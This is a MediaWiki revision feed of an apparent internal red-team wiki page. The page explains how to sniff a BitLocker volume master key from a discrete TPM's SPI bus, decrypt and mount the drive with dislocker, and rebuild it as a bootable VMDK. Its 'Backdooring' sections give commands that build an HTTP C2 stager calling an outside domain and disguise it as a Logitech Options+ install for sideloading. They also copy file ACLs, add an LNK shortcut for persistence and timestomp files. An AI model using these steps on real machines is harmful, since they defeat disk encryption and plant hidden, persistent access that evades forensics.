sudo mkdir -p /media/bitlocker_mount&lt;br /&gt;
&lt;br /&gt;
echo &amp;quot;YOUR_HEX_VMK&amp;quot; | xxd -r -p &amp;gt; vmk.bin&lt;br /&gt;
&lt;br /&gt;
sudo dislocker -r -V /dev/sdX -K vmk.bin -- /media/bitlocker&lt;br /&gt;
sudo mount -o loop,ro -t ntfs-3g /media/bitlocker/dislocker-file /media/bitlocker_mount&lt;br /&gt;
&lt;br /&gt;
mount | grep bitlocker&lt;br /&gt;
&lt;br /&gt;
sudo umount /media/bitlocker_mount&lt;br /&gt;
sudo umount /media/bitlocker&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Deploying Stager ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
stagers create-http NodeNative net481 https://logic-update.azure-api.net \&lt;br /&gt;
  --filename UserCache \&lt;br /&gt;
  --userAgent &amp;quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Copy the &amp;lt;code&amp;gt;UserCache&amp;lt;/code&amp;gt; file to the LogiOptionsPlus folder, then copy the content to the target under:&lt;br /&gt;
&amp;lt;code&amp;gt;C:\Users\username\AppData\Local\&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Setting File Permissions ===&lt;br /&gt;
&lt;br /&gt;
Find an existing file from the target user directory and save its permissions:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
getfattr -n system.ntfs_acl -e hex ../../Downloads/desktop.ini &amp;gt; perms.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Apply those permissions to all files in the LogiOptionsPlus folder:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
find . -exec setfattr -n system.ntfs_acl -v \&lt;br /&gt;
  &amp;quot;$(cat /mnt/Users/domainuser/AppData/Local/perms.txt | cut -d&#039;=&#039; -f2 | head -n2 | tail -n1)&amp;quot; {} \;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Verify permissions:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ntfssecaudit ffmpeg.dll&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Creating LNK File ===&lt;br /&gt;
&lt;br /&gt;
Using [https://raw.githubusercontent.com/ehusby/mslink/refs/heads/main/mslink_v1.3.sh mslink]:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/home/alaa/mslink_v1.3.sh \&lt;br /&gt;
  -o logioptionsplus.lnk \&lt;br /&gt;
  -w &#039;C:\Users\domainusers\AppData\Local\LogiOptionsPlus&#039; \&lt;br /&gt;
  -l &#039;C:\Users\domainusers\AppData\Local\LogiOptionsPlus\logioptionsplus.exe&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Apply permissions to the LNK file as well:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
setfattr -n system.ntfs_acl -v \&lt;br /&gt;
  &amp;quot;$(cat /mnt/Users/domainuser/AppData/Local/perms.txt | cut -d&#039;=&#039; -f2 | head -n2 | tail -n1)&amp;quot; \&lt;br /&gt;
  logioptionsplus.lnk&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Timestomping ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
touch -d &amp;quot;2 hours ago&amp;quot; filename&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Offensive Security]]&lt;/div&gt;</summary>
		<author><name>Administrator</name></author>
	</entry>
	<entry>
		<id>https://book.ghanim.no/index.php?title=Offensive_Security/Extract_BitLocker_VMK_from_TPM&amp;diff=2308</id>
		<title>Offensive Security/Extract BitLocker VMK from TPM</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Offensive_Security/Extract_BitLocker_VMK_from_TPM&amp;diff=2308"/>
		<updated>2026-02-18T08:10:18Z</updated>

		<summary type="html">&lt;p&gt;Administrator: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= BitLocker VMK Extraction via SPI =&lt;br /&gt;
&lt;br /&gt;
== Prerequisites ==&lt;br /&gt;
* Discrete TPM. Check for specific manufacturer (Infineon, STMicro, Nuvoton). If you see Intel PTT or AMD fTPM in BIOS, that means it&#039;s a firmware-based TPM.&lt;br /&gt;
* A logic analyzer. In the office we have a [https://www.saleae.com/ Saleae].&lt;br /&gt;
* Logic analyzer software. We use [https://www.saleae.com/downloads/ Logic 2].&lt;br /&gt;
&lt;br /&gt;
== Extracting BitLocker VMK ==&lt;br /&gt;
&lt;br /&gt;
=== Locating the TPM Chip ===&lt;br /&gt;
The first step is to locate the TPM chip on the motherboard. The easiest way is to find a schematic for the motherboard and look for the TPM chip description. It is usually close to the CPU.&lt;br /&gt;
&lt;br /&gt;
The best way to find schematics is to find the model number of the motherboard and search for that + &amp;quot;schematics&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
Sources for finding schematics:&lt;br /&gt;
* [https://t.me/ schematics|boardviews|ARCHIVE 💻💻]&lt;br /&gt;
* [https://www.badcaps.net/ Badcaps - Laptop, TV, &amp;amp; Other Electronics Repair Forum]&lt;br /&gt;
* Indiafix&lt;br /&gt;
&lt;br /&gt;
Once you locate the correct schematic (typically a .CAD file), leveraging an LLM can significantly accelerate TPM chip identification. LLMs can parse CAD files and quickly pinpoint the TPM component, saving considerable time during the reconnaissance phase.&lt;br /&gt;
&lt;br /&gt;
=== Locating the SPI Bus Pins ===&lt;br /&gt;
After identifying the TPM chip, locate the following SPI bus pins:&lt;br /&gt;
* &#039;&#039;&#039;CLK&#039;&#039;&#039; (Clock)&lt;br /&gt;
* &#039;&#039;&#039;CS&#039;&#039;&#039; (Chip Select)&lt;br /&gt;
* &#039;&#039;&#039;MOSI&#039;&#039;&#039; (Master Out, Slave In)&lt;br /&gt;
* &#039;&#039;&#039;MISO&#039;&#039;&#039; (Master In, Slave Out)&lt;br /&gt;
&lt;br /&gt;
Additionally, establish a proper ground connection to complete the circuit — this step is essential for reliable signal capture.&lt;br /&gt;
&lt;br /&gt;
=== Configuring Logic 2 ===&lt;br /&gt;
Launch Logic 2. Each wire harness on the Saleae analyzer corresponds to a numbered channel in the software. Create a reference table to ensure correct connections and name them accordingly. Example:&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Saleae Channel !! Logic 2 Label !! SPI Signal&lt;br /&gt;
|-&lt;br /&gt;
| Channel 0 || D0 || CLK&lt;br /&gt;
|-&lt;br /&gt;
| Channel 1 || D1 || CS&lt;br /&gt;
|-&lt;br /&gt;
| Channel 2 || D2 || MOSI&lt;br /&gt;
|-&lt;br /&gt;
| Channel 3 || D3 || MISO&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Voltage Configuration:&#039;&#039;&#039; Before capturing, set the correct voltage threshold in Logic 2&#039;s device settings. Consult the chip&#039;s datasheet or motherboard schematic to determine the TPM&#039;s operating voltage (typically 1.8V or 3.3V). Select the appropriate voltage level from the device settings panel to ensure accurate signal detection.&lt;br /&gt;
&lt;br /&gt;
=== Adding the SPI Analyzer ===&lt;br /&gt;
In Logic 2, click &#039;&#039;&#039;Analyzers&#039;&#039;&#039; and add the built-in SPI analyzer. Configure with the following settings:&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Setting !! Value&lt;br /&gt;
|-&lt;br /&gt;
| MOSI || Assign to your MOSI channel&lt;br /&gt;
|-&lt;br /&gt;
| MISO || Assign to your MISO channel&lt;br /&gt;
|-&lt;br /&gt;
| Clock || Assign to your CLK channel&lt;br /&gt;
|-&lt;br /&gt;
| Enable (CS) || Active High (if probing from flash chip CS line)&lt;br /&gt;
|-&lt;br /&gt;
| Bits per Transfer || 8 bits&lt;br /&gt;
|-&lt;br /&gt;
| Significant Bit || MSB first&lt;br /&gt;
|-&lt;br /&gt;
| Clock State || Rising edge (most TPMs)&lt;br /&gt;
|-&lt;br /&gt;
| Stream to Terminal || Disabled&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
{{Note|You may need to test both Clock State and Enable Line settings to identify if the clock is high or low when inactive. If you have captured correct SPI traffic but cannot see the BitLocker VMK, analyze the traffic and adjust settings accordingly.}}&lt;br /&gt;
&lt;br /&gt;
=== Loading the BitLocker SPI Toolkit ===&lt;br /&gt;
To automatically identify the VMK in captured SPI traffic, use the [https://github.com/ReversecLabs/bitlocker-spi-toolkit GitHub - ReversecLabs/bitlocker-spi-toolkit].&lt;br /&gt;
&lt;br /&gt;
# Go to &#039;&#039;&#039;Extensions → Load Existing Extension&#039;&#039;&#039;&lt;br /&gt;
# Navigate to the cloned repo&#039;s &amp;lt;code&amp;gt;analyzer&amp;lt;/code&amp;gt; folder&lt;br /&gt;
# Load the &#039;&#039;&#039;BitLocker-Key-Extractor&#039;&#039;&#039; extension&lt;br /&gt;
# Edit the extension settings and set the &#039;&#039;&#039;Input Analyzer&#039;&#039;&#039; to SPI&lt;br /&gt;
# Enable &#039;&#039;&#039;Stream to Terminal&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
=== Attaching Probes and Capturing ===&lt;br /&gt;
Carefully attach the probe hooks to the SPI bus pins. Ensure each connection is secure and making proper electrical contact — poor connections result in signal noise or data loss. Use a magnifying glass if the pins are very small.&lt;br /&gt;
&lt;br /&gt;
# Click &#039;&#039;&#039;Start&#039;&#039;&#039; in Logic 2&lt;br /&gt;
# Immediately power on the target device&lt;br /&gt;
# Wait until Windows has loaded (Windows logo or login screen is visible)&lt;br /&gt;
# Click &#039;&#039;&#039;Stop&#039;&#039;&#039; to end the capture&lt;br /&gt;
&lt;br /&gt;
In the Analyzers panel, locate the BitLocker Key Extractor output. The BitLocker VMK will be displayed as a &#039;&#039;&#039;32-byte hexadecimal string&#039;&#039;&#039; in the Data field. If not immediately visible, scroll through the analyzer results — the VMK annotation typically appears in the latter portion of the boot sequence.&lt;br /&gt;
&lt;br /&gt;
== Decrypting the Drive ==&lt;br /&gt;
&lt;br /&gt;
{{Warning|It is generally recommended &#039;&#039;&#039;NOT&#039;&#039;&#039; to mount the drive on Windows, as the OS may write to the disk, potentially causing issues.}}&lt;br /&gt;
&lt;br /&gt;
Boot a DFIR operating system from USB, such as:&lt;br /&gt;
* [https://tsurugi-linux.org/ Tsurugi Linux]&lt;br /&gt;
* [https://sumuri.com/ SUMURI Digital Forensics (Paladin OS)]&lt;br /&gt;
&lt;br /&gt;
The following commands will mount the drive as &#039;&#039;&#039;read-only&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Create two directories&lt;br /&gt;
sudo mkdir -p /media/bitlocker&lt;br /&gt;
sudo mkdir -p /media/bitlocker_mount&lt;br /&gt;
&lt;br /&gt;
# If your VMK is in hex, convert it to binary&lt;br /&gt;
echo &amp;quot;YOUR_HEX_VMK&amp;quot; | xxd -r -p &amp;gt; vmk.bin&lt;br /&gt;
&lt;br /&gt;
# Use fdisk to identify correct drive&lt;br /&gt;
fdisk -l&lt;br /&gt;
&lt;br /&gt;
# Decrypt with dislocker (READ ONLY)&lt;br /&gt;
sudo dislocker -r -V /dev/sdX -K vmk.bin -- /media/bitlocker&lt;br /&gt;
&lt;br /&gt;
# Mount virtual files&lt;br /&gt;
sudo mount -o loop,ro -t ntfs-3g /media/bitlocker/dislocker-file /media/bitlocker_mount&lt;br /&gt;
&lt;br /&gt;
# Verify read only&lt;br /&gt;
mount | grep bitlocker&lt;br /&gt;
&lt;br /&gt;
# Unmount&lt;br /&gt;
sudo umount /media/bitlocker_mount&lt;br /&gt;
sudo umount /media/bitlocker&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Contact PwC Forensics to help with cloning or imaging of the disk, as they have the appropriate tools.&lt;br /&gt;
&lt;br /&gt;
== Creating a Bootable VMDK from BitLocker-Encrypted Windows Disk ==&lt;br /&gt;
&lt;br /&gt;
=== Step 1: Mount the Backup Image ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
losetup -Pf --show /path/to/BackupImage.001&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Expected output: &amp;lt;code&amp;gt;/dev/loop0&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/dev/loop1&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== Step 2: Inspect Partition Layout ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
fdisk -l /dev/loop1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Example output:&lt;br /&gt;
* &amp;lt;code&amp;gt;/dev/loop1p1&amp;lt;/code&amp;gt; — 500M EFI System&lt;br /&gt;
* &amp;lt;code&amp;gt;/dev/loop1p2&amp;lt;/code&amp;gt; — 128M Microsoft Reserved&lt;br /&gt;
* &amp;lt;code&amp;gt;/dev/loop1p3&amp;lt;/code&amp;gt; — 250G Microsoft Basic Data (BitLocker encrypted)&lt;br /&gt;
* &amp;lt;code&amp;gt;/dev/loop1p4&amp;lt;/code&amp;gt; — 2.4G Windows Recovery Environment&lt;br /&gt;
&lt;br /&gt;
=== Step 3: Decrypt BitLocker Volume ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
echo &amp;quot;VMK_VALUE&amp;quot; | xxd -r -p &amp;gt; vmk.bin&lt;br /&gt;
dislocker /V /dev/loop1p3 -K vmk.bin -- /mnt/bitlocker&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This creates a decrypted file called &amp;lt;code&amp;gt;dislocker-file&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== Step 4: Mount Decrypted Volume ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo mount -o loop,ro -t ntfs-3g /mnt/bitlocker/dislocker-file /mnt/bitlocker_mounted&lt;br /&gt;
mount  # Verify mounted with ro&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Step 5: Verification Commands ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Verify loop devices&lt;br /&gt;
losetup -a&lt;br /&gt;
&lt;br /&gt;
# Check partition details&lt;br /&gt;
parted /dev/loop1 unit MiB print&lt;br /&gt;
&lt;br /&gt;
# Verify mounts&lt;br /&gt;
mount | grep loop&lt;br /&gt;
df -h | grep loop&lt;br /&gt;
&lt;br /&gt;
# Check available space&lt;br /&gt;
df -h &amp;quot;OUTPUT-FOLDER&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Verify required tools&lt;br /&gt;
which mkfs.ntfs rsync parted&lt;br /&gt;
&lt;br /&gt;
# Verify decrypted data&lt;br /&gt;
ls -la /mnt/bitlocker_mounted | head -20&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Step 6: Create Bootable VMDK (Script) ===&lt;br /&gt;
&lt;br /&gt;
The script below will:&lt;br /&gt;
* Create a 244GB raw disk image (adjust based on your image size)&lt;br /&gt;
* Partition it to match the original Windows disk (EFI + MSR + Windows + Recovery)&lt;br /&gt;
* Format EFI partition (FAT32) and copy boot files&lt;br /&gt;
* Format Windows partition (NTFS) and copy all decrypted data&lt;br /&gt;
* Format recovery partition (NTFS)&lt;br /&gt;
* Convert raw image to VMDK format&lt;br /&gt;
* Clean up temporary files&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Notes before running:&#039;&#039;&#039;&lt;br /&gt;
* Lines 16–21: Verify variables are correct before proceeding&lt;br /&gt;
* Line 92: Change partition size depending on image size&lt;br /&gt;
* Line 106: Change depending on image size&lt;br /&gt;
* &#039;&#039;&#039;Time estimate:&#039;&#039;&#039; 30–60 minutes&lt;br /&gt;
* &#039;&#039;&#039;Temporary space needed:&#039;&#039;&#039; ~250GB&lt;br /&gt;
* &#039;&#039;&#039;Final VMDK size:&#039;&#039;&#039; ~74GB (varies by source image)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
# ==============================================================================&lt;br /&gt;
# Script to create a bootable VMDK from BitLocker-decrypted Windows disk&lt;br /&gt;
# ==============================================================================&lt;br /&gt;
set -e&lt;br /&gt;
&lt;br /&gt;
RED=&#039;\033[0;31m&#039;&lt;br /&gt;
GREEN=&#039;\033[0;32m&#039;&lt;br /&gt;
YELLOW=&#039;\033[1;33m&#039;&lt;br /&gt;
NC=&#039;\033[0m&#039;&lt;br /&gt;
&lt;br /&gt;
ENCRYPTED_LOOP=&amp;quot;/dev/loop0&amp;quot;&lt;br /&gt;
DECRYPTED_MOUNT=&amp;quot;/mnt/hgfs/Shared_Kali/Laptop Image/bitlockermount&amp;quot;&lt;br /&gt;
WORK_DIR=&amp;quot;/mnt/hgfs/Shared_Kali/Laptop Image&amp;quot;&lt;br /&gt;
RAW_IMAGE=&amp;quot;$WORK_DIR/new_bootable_disk.img&amp;quot;&lt;br /&gt;
FINAL_VMDK=&amp;quot;$WORK_DIR/Windows_Bootable.vmdk&amp;quot;&lt;br /&gt;
TEMP_LOOP=&amp;quot;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
print_status() { echo -e &amp;quot;${GREEN}[+]${NC} $1&amp;quot;; }&lt;br /&gt;
print_error()  { echo -e &amp;quot;${RED}[!]${NC} $1&amp;quot;; }&lt;br /&gt;
print_warning(){ echo -e &amp;quot;${YELLOW}[*]${NC} $1&amp;quot;; }&lt;br /&gt;
&lt;br /&gt;
cleanup() {&lt;br /&gt;
    print_warning &amp;quot;Cleaning up...&amp;quot;&lt;br /&gt;
    umount /mnt/new_efi 2&amp;gt;/dev/null || true&lt;br /&gt;
    umount /mnt/old_efi 2&amp;gt;/dev/null || true&lt;br /&gt;
    umount /mnt/new_win 2&amp;gt;/dev/null || true&lt;br /&gt;
    rmdir /mnt/new_efi /mnt/old_efi /mnt/new_win 2&amp;gt;/dev/null || true&lt;br /&gt;
    if [ -n &amp;quot;$TEMP_LOOP&amp;quot; ] &amp;amp;&amp;amp; [ -b &amp;quot;$TEMP_LOOP&amp;quot; ]; then&lt;br /&gt;
        losetup -d &amp;quot;$TEMP_LOOP&amp;quot; 2&amp;gt;/dev/null || true&lt;br /&gt;
    fi&lt;br /&gt;
    qemu-nbd --disconnect /dev/nbd0 2&amp;gt;/dev/null || true&lt;br /&gt;
}&lt;br /&gt;
trap cleanup EXIT&lt;br /&gt;
&lt;br /&gt;
print_status &amp;quot;Running pre-flight checks...&amp;quot;&lt;br /&gt;
&lt;br /&gt;
if [ &amp;quot;$EUID&amp;quot; -ne 0 ]; then&lt;br /&gt;
    print_error &amp;quot;Please run as root&amp;quot;; exit 1&lt;br /&gt;
fi&lt;br /&gt;
if ! command -v sgdisk &amp;amp;&amp;gt; /dev/null; then&lt;br /&gt;
    print_error &amp;quot;sgdisk not installed. Run: apt install gdisk&amp;quot;; exit 1&lt;br /&gt;
fi&lt;br /&gt;
if [ ! -b &amp;quot;$ENCRYPTED_LOOP&amp;quot; ]; then&lt;br /&gt;
    print_error &amp;quot;Encrypted loop device $ENCRYPTED_LOOP not found&amp;quot;; exit 1&lt;br /&gt;
fi&lt;br /&gt;
if [ ! -d &amp;quot;$DECRYPTED_MOUNT&amp;quot; ]; then&lt;br /&gt;
    print_error &amp;quot;Decrypted mount point $DECRYPTED_MOUNT not found&amp;quot;; exit 1&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
AVAILABLE_SPACE=$(df -BG &amp;quot;$WORK_DIR&amp;quot; | awk &#039;NR==2 {print $4}&#039; | sed &#039;s/G//&#039;)&lt;br /&gt;
if [ &amp;quot;$AVAILABLE_SPACE&amp;quot; -lt 250 ]; then&lt;br /&gt;
    print_error &amp;quot;Insufficient disk space. Need ~250GB, have ${AVAILABLE_SPACE}GB&amp;quot;; exit 1&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
print_status &amp;quot;Pre-flight checks passed!&amp;quot;&lt;br /&gt;
print_warning &amp;quot;This will create a ~240GB disk image. Press Ctrl+C to cancel, or Enter to continue...&amp;quot;&lt;br /&gt;
read&lt;br /&gt;
&lt;br /&gt;
print_status &amp;quot;Creating 244GB raw disk image...&amp;quot;&lt;br /&gt;
qemu-img create -f raw &amp;quot;$RAW_IMAGE&amp;quot; 244198M&lt;br /&gt;
&lt;br /&gt;
print_status &amp;quot;Setting up loop device...&amp;quot;&lt;br /&gt;
TEMP_LOOP=$(losetup -fP --show &amp;quot;$RAW_IMAGE&amp;quot;)&lt;br /&gt;
print_status &amp;quot;Using loop device: $TEMP_LOOP&amp;quot;&lt;br /&gt;
sleep 2&lt;br /&gt;
&lt;br /&gt;
print_status &amp;quot;Creating GPT partition table with sgdisk...&amp;quot;&lt;br /&gt;
sgdisk -Z &amp;quot;$TEMP_LOOP&amp;quot; 2&amp;gt;/dev/null || true&lt;br /&gt;
&lt;br /&gt;
sgdisk -n 1:2048:1026047    -t 1:EF00 -c 1:&amp;quot;EFI system partition&amp;quot;        &amp;quot;$TEMP_LOOP&amp;quot;&lt;br /&gt;
sgdisk -n 2:1026048:1288191 -t 2:0C01 -c 2:&amp;quot;Microsoft reserved partition&amp;quot; &amp;quot;$TEMP_LOOP&amp;quot;&lt;br /&gt;
sgdisk -n 3:1288192:494993407 -t 3:0700 -c 3:&amp;quot;Basic data partition&amp;quot;       &amp;quot;$TEMP_LOOP&amp;quot;&lt;br /&gt;
sgdisk -n 4:494993408:0     -t 4:2700 -c 4:&amp;quot;Basic data partition&amp;quot;         &amp;quot;$TEMP_LOOP&amp;quot;&lt;br /&gt;
sgdisk -A 1:set:0 &amp;quot;$TEMP_LOOP&amp;quot;&lt;br /&gt;
sgdisk -A 4:set:62 &amp;quot;$TEMP_LOOP&amp;quot;&lt;br /&gt;
&lt;br /&gt;
partprobe &amp;quot;$TEMP_LOOP&amp;quot; 2&amp;gt;/dev/null || true&lt;br /&gt;
sleep 3&lt;br /&gt;
&lt;br /&gt;
if [ ! -b &amp;quot;${TEMP_LOOP}p1&amp;quot; ]; then&lt;br /&gt;
    print_error &amp;quot;Partition creation failed&amp;quot;; exit 1&lt;br /&gt;
fi&lt;br /&gt;
sgdisk -p &amp;quot;$TEMP_LOOP&amp;quot;&lt;br /&gt;
&lt;br /&gt;
print_status &amp;quot;Formatting EFI partition...&amp;quot;&lt;br /&gt;
mkfs.vfat -F32 &amp;quot;${TEMP_LOOP}p1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
print_status &amp;quot;Copying EFI boot files...&amp;quot;&lt;br /&gt;
mkdir -p /mnt/new_efi /mnt/old_efi&lt;br /&gt;
mount &amp;quot;${TEMP_LOOP}p1&amp;quot; /mnt/new_efi&lt;br /&gt;
mount &amp;quot;${ENCRYPTED_LOOP}p1&amp;quot; /mnt/old_efi&lt;br /&gt;
cp -av /mnt/old_efi/* /mnt/new_efi/&lt;br /&gt;
umount /mnt/new_efi&lt;br /&gt;
umount /mnt/old_efi&lt;br /&gt;
&lt;br /&gt;
print_status &amp;quot;Formatting Windows partition...&amp;quot;&lt;br /&gt;
mkfs.ntfs -f -Q &amp;quot;${TEMP_LOOP}p3&amp;quot;&lt;br /&gt;
&lt;br /&gt;
print_status &amp;quot;Copying Windows data...&amp;quot;&lt;br /&gt;
mkdir -p /mnt/new_win&lt;br /&gt;
mount &amp;quot;${TEMP_LOOP}p3&amp;quot; /mnt/new_win&lt;br /&gt;
rsync -aP --info=progress2 &amp;quot;$DECRYPTED_MOUNT/&amp;quot; /mnt/new_win/&lt;br /&gt;
&lt;br /&gt;
SRC_SIZE=$(du -sb &amp;quot;$DECRYPTED_MOUNT&amp;quot; | cut -f1)&lt;br /&gt;
DST_SIZE=$(du -sb /mnt/new_win | cut -f1)&lt;br /&gt;
print_status &amp;quot;Source: $SRC_SIZE bytes | Destination: $DST_SIZE bytes&amp;quot;&lt;br /&gt;
umount /mnt/new_win&lt;br /&gt;
&lt;br /&gt;
print_status &amp;quot;Formatting recovery partition...&amp;quot;&lt;br /&gt;
mkfs.ntfs -f -Q &amp;quot;${TEMP_LOOP}p4&amp;quot;&lt;br /&gt;
&lt;br /&gt;
print_status &amp;quot;Detaching loop device...&amp;quot;&lt;br /&gt;
losetup -d &amp;quot;$TEMP_LOOP&amp;quot;&lt;br /&gt;
TEMP_LOOP=&amp;quot;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
print_status &amp;quot;Converting to VMDK...&amp;quot;&lt;br /&gt;
qemu-img convert -f raw -O vmdk -p &amp;quot;$RAW_IMAGE&amp;quot; &amp;quot;$FINAL_VMDK&amp;quot;&lt;br /&gt;
qemu-img info &amp;quot;$FINAL_VMDK&amp;quot;&lt;br /&gt;
&lt;br /&gt;
print_status &amp;quot;Cleaning up...&amp;quot;&lt;br /&gt;
rm -f &amp;quot;$RAW_IMAGE&amp;quot;&lt;br /&gt;
rmdir /mnt/new_efi /mnt/old_efi /mnt/new_win 2&amp;gt;/dev/null || true&lt;br /&gt;
&lt;br /&gt;
print_status &amp;quot;VMDK creation complete! Output: $FINAL_VMDK&amp;quot;&lt;br /&gt;
print_status &amp;quot;Next steps:&amp;quot;&lt;br /&gt;
print_status &amp;quot;1. Import $FINAL_VMDK into VMware/VirtualBox&amp;quot;&lt;br /&gt;
print_status &amp;quot;2. Configure VM as UEFI boot&amp;quot;&lt;br /&gt;
print_status &amp;quot;3. If boot fails, use Windows installation media to run bootrec/bcdboot&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Step 7: Import VMDK to VMware ===&lt;br /&gt;
&lt;br /&gt;
# Create a new VM&lt;br /&gt;
# Select &#039;&#039;&#039;Use existing virtual disk&#039;&#039;&#039;&lt;br /&gt;
# Select your newly created &amp;lt;code&amp;gt;Windows_Bootable.vmdk&amp;lt;/code&amp;gt;&lt;br /&gt;
# Set Firmware to &#039;&#039;&#039;UEFI&#039;&#039;&#039;&lt;br /&gt;
# RAM: 8GB&lt;br /&gt;
# Processor: 2+ cores&lt;br /&gt;
&lt;br /&gt;
== Troubleshooting ==&lt;br /&gt;
&lt;br /&gt;
If the VM fails to boot:&lt;br /&gt;
&lt;br /&gt;
# Mount a Windows 11 installation ISO&lt;br /&gt;
# Select &#039;&#039;&#039;Repair your computer&#039;&#039;&#039;&lt;br /&gt;
# If that fails: &#039;&#039;&#039;Troubleshoot → Advanced Options → Command Prompt&#039;&#039;&#039;&lt;br /&gt;
# Run the following:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
diskpart&lt;br /&gt;
list volume&lt;br /&gt;
select volume VOLUME_NUMBER   # Should be your EFI partition&lt;br /&gt;
assign letter S:&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
bcdboot C:\Windows /s S: /f UEFI&lt;br /&gt;
exit   # Remove ISO and reboot&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Backdooring ==&lt;br /&gt;
&lt;br /&gt;
=== Mount Drive (Read Only) ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo mkdir -p /media/bitlocker&lt;br /&gt;
sudo mkdir -p /media/bitlocker_mount&lt;br /&gt;
&lt;br /&gt;
echo &amp;quot;YOUR_HEX_VMK&amp;quot; | xxd -r -p &amp;gt; vmk.bin&lt;br /&gt;
&lt;br /&gt;
sudo dislocker -r -V /dev/sdX -K vmk.bin -- /media/bitlocker&lt;br /&gt;
sudo mount -o loop,ro -t ntfs-3g /media/bitlocker/dislocker-file /media/bitlocker_mount&lt;br /&gt;
